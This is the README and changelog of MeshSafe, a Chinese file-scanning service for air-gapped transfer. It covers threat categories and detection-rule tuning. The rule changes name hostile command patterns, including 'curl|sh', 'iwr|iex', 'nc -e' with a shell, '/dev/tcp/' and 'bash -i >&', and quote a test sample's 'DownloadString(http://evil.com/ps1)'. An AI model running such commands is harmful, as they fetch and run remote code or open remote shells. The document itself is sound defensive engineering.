第四轮记录:逐规则独立贡献重放(60 条命中/25 条有独立贡献/前 10 条占 92.6%)、 批量按族退役零 verdict 变化、复核地板重构与复测表;另记 meshsafe-cron 自查结论与 ClamAV 签名库新鲜度机制(库龄不影响处置结果是剩余缺口)。遗留项明确 35 条零贡献规则 暂不退役的原因。YARA 检测范围文档从仓库根目录挪进 docs/。
444 lines
44 KiB
Markdown
444 lines
44 KiB
Markdown
# MeshSafe · 文件安全检测服务
|
||
|
||

|
||

|
||

|
||
|
||
> **光闸摆渡场景下的独立文件安全守门员。** 外网文件进来之前,先过 MeshSafe。
|
||
|
||
---
|
||
|
||
## 一句话介绍
|
||
|
||
MeshSafe 是一套独立部署的文件安全检测服务,专为光闸内外网摆渡场景设计。它不修改、不清洗文件,只做一件事:**判断"这个文件能不能传进内网"**,把检测结论交还给摆渡系统决定。
|
||
|
||
一期只做 **外网 → 内网** 方向——保护内网不被外网文件伤到。
|
||
|
||
---
|
||
|
||
## 它能做什么
|
||
|
||
### 三层风险把关
|
||
|
||
| 维度 | 回答的问题 | 举个例子 |
|
||
|---|---|---|
|
||
| **恶意性检测** | 这个文件本身是不是病毒、木马、勒索? | 已知病毒签名、家族特征 |
|
||
| **可执行性拦截** | 这个文件打开会不会自动跑代码? | 带宏的 Word、带脚本的 PDF、快捷方式 |
|
||
| **合规性校验** | 这个文件在传输层面有没有问题? | 路径穿越、压缩炸弹、伪装扩展名 |
|
||
|
||
### 两种判定结果
|
||
|
||
- **机器执行**:告诉摆渡系统"放行 / 拒绝 / 转人工复核"
|
||
- **人工提示**:告诉最终打开文件的内网用户"打开时要注意什么"(比如"此文件包含宏,请勿启用")
|
||
|
||
两条结论独立返回——系统的事归系统,人的事归人。
|
||
|
||
---
|
||
|
||
## 它能拦住什么
|
||
|
||
以下是 MeshSafe 一期覆盖的全部核心风险场景:
|
||
|
||
### 文档类最常见风险
|
||
|
||
| 文件类型 | 风险场景 | MeshSafe 的处置 |
|
||
|---|---|---|
|
||
| Word / Excel / PPT (.docm / .xlsm / .pptm) | 打开即执行的宏,自动下载病毒、调用系统命令、关闭安全软件 | **零容忍直接拦截**,不走过场 |
|
||
| Word / Excel / PPT | 宏代码被故意混淆或加密,意图不可知 | **零容忍直接拦截** |
|
||
| Word / Excel (RTF) | DDE / DDEAUTO 字段——打开即启动程序 | **零容忍直接拦截** |
|
||
| PDF | 打开即执行的 JavaScript 脚本 | **零容忍直接拦截** |
|
||
| PDF | LaunchAction——打开即启动外部程序 | **零容忍直接拦截** |
|
||
| 所有 Office 文档 | 包含外部模板注入——借模板执行恶意代码 | **零容忍直接拦截** |
|
||
| 所有 Office 文档 | 嵌入了可执行文件的 OLE 对象 | **零容忍直接拦截** |
|
||
|
||
### 快捷方式与容器类风险
|
||
|
||
| 文件类型 | 风险场景 | MeshSafe 的处置 |
|
||
|---|---|---|
|
||
| 快捷方式 (.lnk) | 指向程序执行 / 远程路径 / 脚本 | **零容忍直接拦截** |
|
||
| 帮助文件 (.chm) | 包含可执行脚本 | **零容忍直接拦截** |
|
||
| 光盘镜像 (.iso) | 内部包含可执行文件——双击挂载后直接运行 | **零容忍直接拦截**,挂载后递归扫描内部 |
|
||
| 压缩包 (.zip / .rar / .7z 等) | 解压路径穿越——试图写出解压目录,覆盖系统文件 | **零容忍直接拦截** |
|
||
| 压缩包 | 压缩炸弹——几 KB 解压出几百 MB 甚至上 GB,耗尽服务器资源 | 拦截并报警 |
|
||
| 压缩包 | 解压深度超过 5 层,内部包含可执行文件 | 自动进入下一轮检测 |
|
||
|
||
### 伪装与迷惑类风险
|
||
|
||
| 风险场景 | MeshSafe 的处置 |
|
||
|---|---|
|
||
| 双扩展名伪装:`invoice.pdf.exe` 实际是程序 | 识破真实类型,拦截 |
|
||
| 图标伪装:可执行文件用 PDF 图标诱导用户双击 | 识破真实类型,拦截 |
|
||
| 声明扩展名与真实类型不一致 | 拦截并标记 |
|
||
| 文件名用 Unicode 欺骗(西里尔字母替换拉丁字母) | 识破并标记 |
|
||
|
||
### 链接与二维码分级处置
|
||
|
||
| 情形 | MeshSafe 的处置 |
|
||
|---|---|
|
||
| 文档/图片中的链接命中恶意地址库 | **零容忍直接拦截** |
|
||
| 链接指向非常规端口 / IP 直连 / 短链服务 | 标记为可疑,转人工复核 |
|
||
| 二维码解码后内容为上述情形 | 同上 |
|
||
| 普通 http / https 链接 | 放行但提示"请确认来源" |
|
||
|
||
### 加密文件处理
|
||
|
||
| 情形 | MeshSafe 的处置 |
|
||
|---|---|
|
||
| 加密的 Office 文档 | 默认拒绝——无法确认内部安全 |
|
||
| 加密的压缩包 | 默认拒绝——无法确认内部安全 |
|
||
|
||
### Linux 桌面环境特有威胁(一期重点覆盖)
|
||
|
||
内网终端是麒麟桌面/UOS(纯 Linux),因此 Linux 特有威胁载体必须覆盖:
|
||
|
||
| 威胁场景 | 风险说明 | MeshSafe 的处置 |
|
||
|---|---|---|
|
||
| Linux 原生可执行文件(ELF) | 传统杀毒不认识,可直接在终端运行 | **零容忍直接拦截** |
|
||
| Linux 快捷方式(.desktop 文件) | 看起来是桌面图标,实际 `Exec=` 字段可指向任意命令 | **零容忍直接拦截**,校验 Exec 字段是否含 shell 调用、下载器 |
|
||
| Shell / Python / Perl / Ruby 脚本 | 双击可执行,含恶意系统调用(下载、反弹 Shell) | **零容忍直接拦截**,识别危险函数 |
|
||
| AppImage / Flatpak / Snap 便携包 | 跨发行版可执行格式,双击即运行 | **零容忍直接拦截**,内部递归扫描 |
|
||
| 压缩包内混有 shell 脚本 / .run / .bin | 解压后用户容易误执行 | 自动进入下一轮检测 |
|
||
|
||
> **纵深防御**:虽然内网是 Linux,Windows 专属载体(快捷方式 .lnk、帮助文件 .chm)仍保持检测——文件可能通过其他路径流向运维人员的 Windows 工作站。
|
||
|
||
---
|
||
|
||
## 方案亮点(为什么 MeshSafe 和传统杀毒不一样)
|
||
|
||
### 亮点一:「打开即执行」载体零容忍——独立于评分体系
|
||
|
||
传统杀毒的逻辑是:**是不是已知恶意样本?** 匹配不到签名就放行。
|
||
|
||
但在光闸场景里,真正的高频风险不是"已知病毒",而是**"打开就自动运行"的载体**——宏文档、DDE 字段、LNK 快捷方式。这类东西杀毒扫出来说"干净",但用户双击后宏即刻执行。
|
||
|
||
MeshSafe 的逻辑反过来:**只要存在打开即执行的载体,就零容忍拦截**。这是一条独立于评分体系的硬性清单——不累计权重、不走过场,命中即拒。
|
||
|
||
### 亮点二:宏行为分级——不是"有没有宏",而是"宏做了什么"
|
||
|
||
内网人员需要打开带宏的公文模板(自动编号、签章定位等),不能简单地把"含宏"等同于"拒绝"。
|
||
|
||
MeshSafe 会**分析宏的实际行为**:
|
||
|
||
| 宏的行为 | MeshSafe 判定 |
|
||
|---|---|
|
||
| 自动执行 + 调用系统命令 / 外联网络 | **零容忍拒绝** |
|
||
| 宏代码被混淆 / 加密(意图不可知) | **零容忍拒绝** |
|
||
| 自动执行 + 仅本地无害操作(编号、排版) | **放行或标记** |
|
||
| 无自动执行,仅手动触发 | 标记放行 / 转复核 |
|
||
|
||
### 亮点三:合法公文模板例外——五道保险受控放行
|
||
|
||
对于业务上确实需要打开的合法宏模板,MeshSafe 提供**受控的例外机制**,但有五道保险:
|
||
|
||
| 保险 | 怎么防绕过 |
|
||
|---|---|
|
||
| **指纹绑定** | 例外按文件内容精确匹配,换一个字节就失效 |
|
||
| **文件名匹配** | 指纹 + 文件名双重校验,防止不同文件复用 |
|
||
| **必须到期** | 所有例外必须有到期时间,最长不超过一年 |
|
||
| **审批留痕** | 谁批的、为什么批、批了什么,全部留痕可追溯 |
|
||
| **行为前提** | 就算在例外清单里,如果宏检测到危险行为(调用 Shell、下载文件),照样触发零容忍 |
|
||
|
||
### 亮点四:打开风险独立提示
|
||
|
||
检测结论分两层:
|
||
- **系统判定层**:摆渡系统看这个——放行 / 拒绝 / 转复核
|
||
- **人工提示层**:内网用户看这个——"此文件包含宏,请勿启用"、"请勿直接双击此 ISO 文件"
|
||
|
||
两层独立演进。即使摆渡系统选择忽略人工提示字段,内网侧安全审计面板也能单独展示。
|
||
|
||
### 亮点五:防篡改审计
|
||
|
||
所有检测记录、策略变更、例外增删都进入**链式审计日志**——每条记录的哈希值包含前一条记录的哈希。任何一条被篡改,后续链全部断裂可检出。
|
||
|
||
---
|
||
|
||
## 完整的检测能力清单(一期)
|
||
|
||
| 能力 | 覆盖范围 |
|
||
|---|---|
|
||
| 真实文件类型识别(不信任扩展名) | 全部文件 |
|
||
| 递归安全解包(最多 5 层) | 常见压缩格式 |
|
||
| 已知恶意样本特征匹配 | 全部文件 |
|
||
| 宏代码提取与行为分析 | Word / Excel / PPT 全系列 |
|
||
| DDE / DDEAUTO 自动执行检测 | 复合文档 |
|
||
| PDF 脚本与动作检测 | PDF |
|
||
| 文档内嵌文件检测 | 复合文档 |
|
||
| 文档深度解析 | 外部链接、模板注入、隐藏变量 |
|
||
| 快捷方式深度解析 | 目标路径、参数、远程链接 |
|
||
| 帮助文件类型校验 | 结构完整性检测 |
|
||
| 光盘镜像挂载后递归扫描 | 内部可执行文件检测 |
|
||
| 未知恶意样本家族匹配 | 可执行程序 / 脚本 / 内存马 |
|
||
| 可执行程序结构分析 | 异常特征、签名目录、导入表 |
|
||
| 外部链接与二维码提取 | 文档和图片 |
|
||
| 恶意链接库查询 | 分级处置 |
|
||
| 零容忍规则集(25 条) | 打开即执行载体全覆盖 + 高危行为词表 |
|
||
| 宏行为例外机制 | 合法公文模板受控放行 |
|
||
| 引擎故障安全降级 | 任何检测引擎不可用时整体拒绝(安全优先) |
|
||
| 同步 + 异步双模式 | 小文件同步返回,大文件异步轮询 |
|
||
| 策略热重载 | 改配置不用重启 |
|
||
| 控制台权限分级 | 管理员 / 运维 / 只读三档 |
|
||
| 防篡改审计日志 | 链式哈希校验,任何一条被改后续全部断裂可检出 |
|
||
| 签名库版本追踪 | 检测有效性可举证 |
|
||
|
||
---
|
||
|
||
## 未来可支持的扩展方向
|
||
|
||
以下方向**架构已预留,但一期不实现**:
|
||
|
||
| 方向 | 价值 | 启动前提 |
|
||
|---|---|---|
|
||
| **内网 → 外网内容审计** | 判断内部内容是否允许外传(涉密 / 隐私 / 违规) | 需先明确业务密级规则和具体场景,与一期的"技术判据"属不同问题域 |
|
||
| **动态沙箱深检** | 在隔离环境中实际运行可疑文件,观察行为(释放文件、外联 C2 等) | 需要 Windows 虚拟化环境 + 国产化终端适配验证;场景收益有限(一期以文档为主) |
|
||
| **大模型语义分析** | 辅助识别诱导话术、仿冒公文模板、上下文关联钓鱼 | 需要内网推理算力;大模型输出仅作为辅助信号,不单独裁决 |
|
||
| **更多零容忍规则** | 随新威胁形态出现,可向规则清单中增量添加 | 规则必须满足"命中即有害 + 可稳定判定"的准入条件 |
|
||
| **内网特征词表引擎** | 识别内网特有的模板、关键词、命名规律,辅助例外判断和伪装识别 | 一期已有初步框架,可独立推进 |
|
||
|
||
> 所有扩展方向的接口和数据结构在一期架构中**已预留扩展位**,未来接入无需重构。
|
||
|
||
---
|
||
|
||
## 版本历史
|
||
|
||
### v0.2.4 (2026-11-02)
|
||
|
||
**误报清零专项(现场反馈的三类误判):**
|
||
|
||
真实 PPT(内嵌图表对象)、电脑上正常无病毒的 EXE/DLL、写有安装命令的 skill.md 文档,在旧策略下分别被判「中危可疑」「严重拒绝」「零容忍拒绝」。根因不是某一个规则,而是**弱信号可以靠权重堆叠越过 block_score=70**,以及**关键词/YARA 用裸子串匹配**。本轮把"载体信号"和"行为信号"彻底分档,行为如下:
|
||
|
||
- **文档内嵌对象分级** — `documents.py _scan_ooxml()` 不再把 zip 目录条目当成内嵌对象;对 `ppt/embeddings/*` 逐条做**魔数嗅探**:MZ/ELF/Mach-O 或 `.exe/.dll/.js/...` → `EmbeddedExecutable`(严重 75,零容忍);Office 部件(`.bin` 里装的是 OLE/子文档)→ `EmbeddedObject`(低危 5);其余 → 中危 20。正常 PPT 的图表/嵌入对象不再产生 20 分可疑
|
||
- **YARA 判定改用导入表邻接窗口** — `pe.yar` 全面重写:API 名必须在**同一张导入名表内相邻 512B**才算命中(`$b in (@a[i]-512..@a[i]+512)`),导出表、i18n 资源、语言包里的字符串堆不再触发;RAT 规则要求真实 C2 痕迹(IP:端口 / .exe URL / 网关面板 php),打包器 UPX 降为 low
|
||
- **Linux/脚本规则去恒真** — `linux.yar` 修掉 `$a and $b` 这类"两个独立字符串同时存在即命中"的恒真写法;`ettercap/responder/nmap` 加词边界并需与攻击参数成组;`LD_PRELOAD` 只在指向可写临时目录或出现 `ld.so.preload` 时命中;`C7_Misc_Ruby_Lua_ReverseShell` 需要 `exec` 与 `TCPSocket/loadstring` 同窗口
|
||
- **PE 信号分档(不再单独定罪)** — `binary.py`:导入 API 分三档,单个注入级 API 只记 5 分(低危),≥2 个才记 20 分;`WinExec/ShellExecuteEx/CreateService/InternetOpenUrl` 从"高危"降到能力档;`IsDebuggerPresent/GetTickCount/FindWindow` 等反调试探测记 0 分;调试信息、异常时间戳 10 → 0;未签名 20 → 10
|
||
- **YARA 严重度取 `meta.risk_level`** — 旧版只读 tag 和规则名,规则文件里的 `risk_level` 被完全忽略;现在 severity/weight 一律先取 meta,再按 `policy.yaml yara_rule_weights` 覆盖,档位统一为 **critical=85 / high=60 / medium=30 / low=10**,44 条规则全部按 meta 重新归位
|
||
- **可执行扩展名降为"载体分"** — `DangerousExecutableExtension` 45 → 35:单独命中仍进人工复核(≥30),但不再充当把后续中低置信度信号顶过 70 分的底座
|
||
- **关键词引擎不再无条件删换行** — v0.2.2 的"整篇文本去换行"是 `skill.md` 误报的直接原因(上一行行尾和下一行行首黏成一句话)。改为默认按行匹配,仅显式 `cross_line: true` 的规则额外跑一遍**换行压成空格**的文本(保留分隔符,兼容续行绕过,不再产生黏连)
|
||
- **下载类词表重写 + 移出零容忍** — 新增 `RemoteDownloadExec`(下载**即执行**:`curl|sh`、`wget -O … && chmod`、`iwr|iex`、`certutil -urlcache … .exe`、`mkfifo+nc`,40 分)与 `PayloadDropToDisk`(下载落地成 `.exe/.ps1/.so/…`,45 分);`RemoteDownloadUnix` / `RemoteDownloadPowerShell` 从"零容忍直接拒"降为 12 分信息项。裸 `curl https://…` 出现在 README/运维文档里不再拦截,内网源站另有白名单放行
|
||
- **反弹 Shell 词表只认执行原语** — `ReverseShellNetcat` 要求 `nc|ncat|netcat` 带 `-e/-c` **且跟 shell 路径**(`/bin/`、`*sh`、`cmd.exe`),或 `/dev/tcp/`、`bash -i >&`;裸 `nc`、`nc -l`、`nc -z`(速查文档、二进制字符串表里必然出现)不再命中;英文公文里的 "NC -E" 之类缩写组合也不再误触
|
||
- **`rules/ransom.yar` / `webshell.yar` 收尾** — 卷影删除不再接受裸 `vss` / `ShadowCopy` 子串与加密 API 同框(正常备份组件的必然组合),要求 `vssadmin … delete … shadows`;混淆 PHP 马要求存在 `<?php` 或超全局变量上下文
|
||
|
||
**验证结果(离线,ClamAV/DB 不在本机):**
|
||
|
||
| 指标 | 修复前 | 修复后 |
|
||
|---|---|---|
|
||
| 32 个干净样本(系统 DLL/EXE + Git/node 工具 + 真实 PPTX)裁决 | 18 malicious/reject、14 suspicious、0 pass | **0 reject**、31 manual_review(仅因"是可执行文件")、1 pass(PPTX 全程 0 命中) |
|
||
| 2162 个真实 Windows 二进制 YARA 误报 | **407 条命中 / 14 条规则**(`C1_PE_Downloader_Loader` 单独 290 条,ActionCenter.dll 一类正常组件全中) | **4 条**,全部为 `C1_PE_ProcessInjection` 命中调试/注入基础设施组件(dbgeng.dll、ttdinject.exe、PayloadRestrictions.dll、VsGraphics*),属真实能力特征 |
|
||
| 靶场 91 个恶意样本 YARA 覆盖 | 全部命中 | **全部命中,无一条漏检** |
|
||
| 168 条样本逐条对账(同一离线管线,HEAD vs 本轮) | 124 Fail | 124 Fail,其中 2 条由 Fail 转 Pass,仅 `L5-005_injection_imports.exe` 从 reject 变为 manual_review(928B 占位假 PE,无导入表,旧结论完全靠权重堆叠),expected_verdict 已同步为 review |
|
||
|
||
**处置口径(本轮已确认,不再作为开放项):**
|
||
|
||
- **干净 EXE/DLL 落人工复核。** 可执行文件本身是载体,单独命中 `DangerousExecutableExtension`(35 分)落在 `review_score` 区间是设计目标,不改自动放行;"严重/拒绝"只留给真实恶意特征。
|
||
- **调试/注入基础设施组件的命中保留,不做白名单。** dbgeng.dll、ttdinject.exe、PayloadRestrictions.dll、VsGraphics* 这 4 个 Windows 组件确实具备进程注入能力,`C1_PE_ProcessInjection` 命中它们属真阳性,**维持现状**(critical=85,单条即判恶意拒绝)。**不使用 `yara_hash_whitelist` 豁免,也不在规则里判断 Microsoft 版本信息**——版本信息可伪造,任何基于它的放行都会开出一条绕过路径;这类文件本就不该走通用摆渡通道传输,如业务确有需要,由管理员单独确认后处置。
|
||
|
||
**容器内实测(v0.2.4 部署后,ClamAV + PostgreSQL 全部可达):**
|
||
|
||
| 指标 | 结果 |
|
||
|---|---|
|
||
| 6 个引擎可用性 | `engine_errors` **0 条**(168 个样本全程无引擎降级) |
|
||
| 三个原始误报复测 | `北京简介 (1).pptx` → clean/pass、0 命中(现已真正展开 61 个 OOXML 部件仍 0 命中);`SKILL.md` → clean/pass、0 命中;干净 PE(dxdiag.exe 50 分、shell32.dll 65 分、cmd.exe 45 分)→ manual_review,均低于 `block_score=70` |
|
||
| 靶场 168 条(控制台对账口径) | **168/168 通过**(初测 4 条未过,见下) |
|
||
|
||
**第二轮修补的 4 条检出缺口(容器内才暴露):**
|
||
|
||
- **zip/OOXML 成员从未参与扫描(HEAD 既有缺陷)** — `extractor.py` 的成员写盘循环用 `while True: … if not chunk: break` 正常结束,`else:` 分支因此永不执行,解出来的成员一个都没进扫描队列:压缩包和 docx/xlsx/pptx 正文里的高危串全部放行。改为显式 `overflow` 标志后 `scanned_objects` 才真正大于 1;tar 分支同修(原先超限成员既不丢弃也不报,还把截断文件塞进队列)。这条修复让 `L3-015`(docx 正文的 `Invoke-WebRequest`)、`L3-023`(zip 内的 `mimikatz`)从 0 命中变检出。
|
||
- **不可解析即放行** — 畸形 OLE 触发 olefile 内部异常后被 `documents.py` 的宽 `except` 兜成 `OleToolsUnavailable`,权重 0 → clean/pass。改为 medium/30,宏解析不了的文档一律进人工复核。
|
||
- **换行拆分绕过** — `L3-009` 把 `Invoke-WebRequest` 拆成两行,`-OutFile evil.exe` 因跨行漏检。`RemoteDownloadExec`/`PayloadDropToDisk` 恢复 `cross_line`,并让 cmdlet 词容忍 `invoke-web_request`/换行拆分形态;仍要求"下载工具 + 执行或落地动作"同框,因此 `SKILL.md`、README 类文档保持 0 命中。
|
||
- **裸下载命令权重回正** — 为压误报把 `RemoteDownloadPowerShell`/`RemoteDownloadUnix` 降到 12 分是矫枉过正:靶场里没有任何"期望放行"的样本含下载命令,误报源头是 `curl|wget -o 任意值` 这种松散写法而非权重。现改回 30/medium 并删掉裸 `-o` 分支,`L3-018`/`L3-024`/`L3-025` 随之回到 review。
|
||
|
||
**第三轮:生产日志暴露的 4 个问题(现场上传 `go1.25.0.windows-amd64.msi` / `nvidiaInspector.exe`):**
|
||
|
||
- **被拒绝的文件在库里查不到记录(留痕丢失)** — `scan_tasks.real_type` 是 `VARCHAR(256)`,而这个 MSI 的 libmagic 描述串有 **632 字符**(CFB 会把 Title/Subject/Creating Application/Number of Pages 全部拼进描述)。Postgres 对超长值不是截断存储而是**整条 INSERT 报错回滚**,因此这次扫描的记录连同 3 条 `scan_findings` 一起丢失——一个 `malicious/reject` 的文件没有任何痕迹。修复三处:模型列宽 256 → 512(`app/models.py`)、线上 `ALTER TABLE scan_tasks ALTER COLUMN real_type TYPE VARCHAR(512)`(已入 `scripts/migrate.sql` 并在 meshsafe-postgres 执行)、落库前按列宽截断 `filename/declared_ext/real_type/extracted_path`(`scanner.py` 新增 `_clip()`)。外部可控长度(libmagic 串、归档成员路径、用户文件名)从此不可能再撑爆 INSERT:实测 600 字符文件名 + 900 字符 reason + 1600 字符成员路径 → 记录与 findings 全部入库(512/512/1024)。
|
||
- **`verdict=malicious` 却给出 `open_risk.level=low`** — 同一条日志里的自相矛盾。`compute_open_risk()` 只看命中因子,不看裁决。补上裁决下限:`malicious/error/reject` 一律至少 critical,并把 `.msi/.jar/.ps1/.lnk/.hta/…` 这类真实载体扩展名纳入 `contains_executable`。
|
||
- **`C8_Ransomware_Note_Filename` 把 Go 官方安装包判成勒索** — 单文件实测命中量:`$wallet` **76,526 次**(`1[A-Za-z0-9]{25,34}` 无边界,任何 GUID/哈希子串都算比特币地址)、`$bitcoin` **44 次**(压缩流里的 `BTC`/`Xmr` 随机字节)、`$n4` 命中安装包内字面量 `README.txt`。三者拼出 70 分 → 官方 MSI 被拒。仓库自己的 `tests/samples/index.json` 同样中招(`ransom` 是 `Ransomware` 的子串)。重写为:文件名只保留家族专有名 + 扩展名(去掉裸 `README.txt`/`_readme.txt`,`\b_readme` 不再命中 `normal_readme.txt`);赎金语言必须是完整词组(`bitcoin address`、`send the money`、`\bransom\b note`);地址按 base58/bech32/ Monero 真实字符集与长度并用 `\b` 锚定整个 token;条件要求**文件名 + (加密 API + 赎金语言)或(赎金语言 + 钱包地址)**。修复后 MSI 该规则 0 命中,`index.json`/`_scan_results.json` 0 命中,真勒索样本 `ransom_dropper.exe.txt` 仍命中(100 分拒绝)。
|
||
- **`PeParseFailed` 打在非 PE 容器上** — `BINARY_EXTS` 里的 `.msi/.msp/.jar/.apk/.war/.so/.elf` 本来就不是 PE,`pefile` 解析必然抛错,于是每个合法安装包/共享库白送 10 分。新增 `_is_native_container()`:内容魔数与声明格式一致(MSI=CFB、JAR/APK=ZIP、SO/ELF=ELF)→ 不做 PE 分析。真正结构损坏的 PE(`L5-010_bad_mz.exe`、0 字节 exe、截断 exe)仍照常命中。
|
||
- **`RemoteDownloadPowerShell` 把 .NET 标识符当下载动作** — 该词表原本是裸子串 `DownloadString|DownloadFile`,`nvidiaInspector.exe` 命中 `add_DownloadFileCompleted`、`DownloadFileAsync` 两处(任何托管程序的标识符表都有),白得 30 分,把 45 分的人工复核顶成 **75 分拒绝**。现改为:cmdlet 名(`Invoke-WebRequest`/`Invoke-RestMethod`/`Start-BitsTransfer`/`BitsAdmin`)带词边界单独命中;.NET/Win32 方法名必须与 URL/IP 同框(±40 字符)才算下载。攻击链没有削弱——`macro_alert.docm` 的 `DownloadString(http://evil.com/ps1)`、`IEX (New-Object Net.WebClient)…` 仍分别命中本规则与 `RemoteDownloadExec`。
|
||
|
||
**第三轮复测(容器内,策略版本 `2026.10.2-9affe243`):**
|
||
|
||
| 指标 | 结果 |
|
||
|---|---|
|
||
| 靶场 168 条(控制台 tier 口径) | **168 Pass / 0 Fail**,`engine_errors` 0 条,总耗时 34.5s(最慢 `L0-020_zip_bomb.zip` 13.4s) |
|
||
| `go1.25.0.windows-amd64.msi` | `malicious/reject 70` → **`suspicious/manual_review 30`**,仅剩 `DangerousExecutableExtension`;`real_type` 632 字符被截断到 512,记录 + findings 正常入库 |
|
||
| .NET 标识符噪声(`add_DownloadFileCompleted`/`DownloadFileAsync`/`URLDownloadToFileA`) | **clean/pass,0 命中**(对应 `nvidiaInspector.exe` 由 75 拒绝回到 45 人工复核) |
|
||
| 干净 PE 基线 | cmd.exe 45 / dxdiag.exe 50 / shell32.dll 65 → 全部 manual_review,均低于 `block_score=70` |
|
||
| 勒索真样本 `ransom_dropper.exe.txt` | 仍 `malicious/reject 100`(`C8_Ransomware_Encryption` 85 + `VolumeShadow` 60 + `Note_Filename` 30) |
|
||
|
||
**ClamAV(L1)命中的处置链路与本轮两处修复:**
|
||
|
||
- **机制** — ClamAV 签名名是动态的(`Win.Trojan.Agent-1`、`Txt.Malware.Sustes-6779550-1`…),进不了 25 条静态零容忍名单,所以走**权重分档 + 阈值**:`critical=95 / EICAR=90 / 默认 malware=85 / heuristic·packed=70 / PUA=25`。`block_score=70` 意味着除 PUA 外**单条 ClamAV 命中即 `malicious/reject`**;PUA 档 25 分落 `pass_with_flag`,与其他信号叠加后进人工复核。零容忍名单里只显式登记了 `Eicar-Test-Signature`(等保"检测到即阻断",`config/policy.yaml:63`),命中直接 100 分。
|
||
- **没有绕过口子** — 步骤 -1 的两类白名单只作用于 `keywords`(关键词白名单)和 `yara`(哈希白名单)引擎,`clamav` 的 finding 不会被过滤;宏行为例外表只覆盖 VBA 零容忍规则。`engine_failure_mode: fail_closed` 下 clamd 连不上/超时会判 `error/reject`。
|
||
- **修复一:分档实际是死代码** — `_judge_signature()` 用小写关键字去比对 `signature.upper()`,因此 95 与 70 两档永不命中,除 EICAR/PUA 外所有签名一律落默认 85(注释里的档位与真实行为不符)。关键字改为大写后实测:`Win.Ransomware/Win.Trojan/Win.Dropper`(含 `Win.Trojan.GenericKD`)→ 95 critical,`Win.Heur.Gen`/`Win.Packed.Upx`/`Win.Riskware.Tool` → 70 high,`Unix.Coinminer`(无家族关键字)→ 85 默认,`PUA-OSX.iAdWare` → 25 medium。
|
||
- **修复二:1G~1.5G 的文件在 L1 完全裸奔** — clamd 默认 `MaxFileSize=1G`,超限拒扫时引擎返回 `ok=True + meta.skipped` 且 **0 条 finding**,而策略 `max_file_size` 是 1.5GB → 这段区间的文件其他 5 个引擎照跑,结论可以是 `clean/pass`,即"AV 没查过"被当成"AV 没查出"。现补 `ClamAVSkippedSizeLimit`(medium/30):实测仅此一条 → `suspicious/manual_review 30`(修复前同一场景 `clean/pass 0`),与"不可扫描不放行"口径一致。
|
||
|
||
**第四轮:规则独立贡献数对账 + 复核地板解耦(策略版本 `2026.10.2-d3b747a4`):**
|
||
|
||
- **口径** — 从 `scan_findings` 重建 findings,用 `PolicyEngine.decide()` 对近 14 天 **3,661 条真实扫描**(排除 `test`/`test_center`,其中 `console_upload` 3,586 条、真实摆渡通道 75 条)做反事实重放:逐条规则剔除其全部命中后重判,处置档位变化即该规则的独立贡献。先验证重放器可信度:改造前 **3,660/3,661 = 99.97%** 与历史入库 action 一致(唯一差异是本轮之前收紧的 `RemoteDownloadUnix`)。
|
||
- **裁决高度集中** — 60 条有命中的规则里只有 **25 条有独立贡献**,前 10 条承担 **92.6%**(1,700/1,836 次跨档)。`DangerousExecutableExtension` 一条就贡献 1,074 次(其中 1,070 次是"把可执行文件送进人工复核"这条口径本身);`OfficeEncrypted` 103 次走的是策略步骤 4 的加密分支而不是它的 25 分权重。35 条规则**独立贡献为 0**,分三类:同族冗余(`C8_*`/`Email*`/`Pdf*`/`PathTraversalBlocked`/`C7_..._NC` 总与另一条同批命中)、分数被挡(其余信号已 ≥70)、纯留痕(`PeParseFailed` 806 次命中、610 次连自己的档位都没到;`OoxmlParseFailed`/`OleToolsUnavailable`/`PEArchInfo` 权重 0)。
|
||
- **退役必须按族,不能按条** — 按族只保留权重最高代表(C8 族留 `C8_Ransomware_Encryption`、Email 族留 `EmailAttachmentWebshell`、`PathTraversalBlocked`、`PdfOpenAction`、`Sustes`)在 3,661 条上重放:**90+90+92+76+76 条扫描裁决全部不变,零影响**;但把 35 条零贡献规则**同时**退役会让 258 条 reject 降级(255 条直接变 pass,全是 `.eml`/`.txt`/`.pdf`)——它们互为备份,批量删等于整族失明。`Txt.Malware.Sustes-*` 这类是 ClamAV 签名名,属于外部信号映射,不在可退役范围。
|
||
- **结构风险修复:`manual_review` 覆盖从"注 65 分"改成"处置地板"** — 旧实现(`app/services/policy.py` 步骤 5)把评分强推到 65 再累加其余权重,同时跳过该规则自身权重:注进去的 65 分不是证据,任何 ≥5 分噪声叠加就翻成 reject,且显示分数与真实证据脱钩。现在步骤 5 只登记地板标志,步骤 6 全量累加权重,步骤 9(新增)在阈值裁决后把低于复核的处置抬到 `manual_review`(已是 reject 的不回退)。同时把 `DangerousExecutableExtension` 登记为 `manual_review` 覆盖——光闸"EXE/DLL/脚本不自动放行"从此由显式地板保证,不再依赖 `weight=30/35` 恰好等于 `review_score` 下界 30 这个数值巧合。
|
||
- **第四轮复测:**
|
||
|
||
| 指标 | 结果 |
|
||
|---|---|
|
||
| 靶场 168 条(控制台 tier 口径) | **168 Pass / 0 Fail**,`engine_errors` 0 条,总耗时 34.6s(最慢 `L0-020_zip_bomb.zip` 12.3s) |
|
||
| 3,661 条真实扫描重放 diff | 只有 **1 条**变化,且是本轮之前那处 `RemoteDownloadUnix` 收紧的预期结果;处置分布与改造前完全一致:reject 2,005 / manual_review 1,091 / pass 561 / pass_with_flag 4(放松 0 条降到 pass,收紧 0 条) |
|
||
| 分数纠偏 | 14 条 `ArchiveContainsExecutable` 扫描 action 不变、分数由人为的 65 回落为真实的 30 |
|
||
| 干净 PE 基线(实扫) | cmd.exe 45 / dxdiag.exe 50 / shell32.dll 65 → 全部 manual_review,与第三轮逐项一致 |
|
||
| 解耦反证 | 把 `review_score` 下界抬到 36/40/50,或把 DEE 权重降到 10:无地板时干净可执行文件静默变 `pass_with_flag`(10~30 分放行),有地板时恒为 `manual_review` |
|
||
|
||
**meshsafe-cron 自查:定时任务自引入以来一次都没成功执行过。**
|
||
|
||
- **根因** — `Settings.admin_password` 是必填字段(`app/config.py:51`),但 cron 容器的 environment 里没有 `MESHSAFE_ADMIN_PASSWORD`。于是任何走 `app.db` → `get_settings()` 的路径在 import 阶段就抛 `ValidationError`,`archive_old_tasks.py --apply` 与 `VACUUM ANALYZE` 双双崩溃,`run()` 只往 docker 日志写一行 `❌ 返回码 1`,容器状态照常 `Up`——**任务挂了但没有任何存活信号**。时间线:必填字段来自初始提交 `16f134e`(10-28),cron 来自 `da8496a`(10-29),即从上线第一天起就没跑过。旁证:`policy_versions` 现存 10 行而归档策略是"留 5 删 5",`scan_tasks_archive` 空表。
|
||
